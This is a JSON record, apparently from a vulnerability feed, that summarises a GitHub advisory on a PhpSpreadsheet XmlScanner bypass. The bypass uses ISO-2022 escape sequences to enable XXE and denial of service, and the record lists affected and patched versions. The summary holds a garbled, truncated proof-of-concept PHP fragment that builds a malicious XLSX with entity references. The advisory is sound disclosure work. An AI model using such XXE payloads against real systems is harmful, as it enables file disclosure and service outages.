{"id":"ghsa-ghsa-3x94-m842-937c","seq":1708785,"kind":"advisory","title":"PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service","url":"https://github.com/advisories/GHSA-3x94-m842-937c","permalink":"https://vulnpulse.app/items/ghsa-ghsa-3x94-m842-937c","summary":"影響: composer:phpoffice/phpspreadsheet >= 4.0.0, <= 5.9.0 → 5.10.0, composer:phpoffice/phpspreadsheet >= 3.3.0, <= 3.10.7 → 3.10.8, composer:phpoffice/phpspreadsheet >= 2.2.0, <= 2.4.7 → 2.4.8, composer:phpoffice/phpspreadsheet >= 2.0.0, <= 2.1.18 → 2.1.19, composer:phpoffice/phpspreadsheet <= 1.30.6 → 1.30.7\nPhpSpreadsheet's XmlScanner::scan() uses a regex pattern that only accounts for NULL byte (0x00) interleaving when detecting ' . \"\\n\" . $doctype . ' sst [' . \"\\n\" . ' ' . \"\\n\" . ']>' . \"\\n\" . ' ' . ' ' . $refs . ' '; // Build minimal XLSX $xlsx = new ZipArchive(); $xlsx->open('poc.xlsx', ZipArchive::CREATE | ZipArchive::OVERWRITE); $xlsx->addFromString('[Content_Types].xml', ' ' .' ' .' ' .' ' .' ' .' ' .' '); $xlsx->addFromString('_rels/.rels', ' ' .' ' .' '); $xlsx->addFromString('xl/workbook…","severity":"high","techs":["php"],"cves":["CVE-2026-108358"],"tags":["GHSA-3x94-m842-937c","phpoffice/phpspreadsheet","phpoffice/phpspreadsheet","phpoffice/phpspreadsheet","phpoffice/phpspreadsheet","phpoffice/phpspreadsheet"],"source":{"id":"ghsa","name":"GitHub Advisory Database"},"published_at":"2026-10-27T15:38:28.000Z","fetched_at":"2026-10-27T21:03:52.214Z"}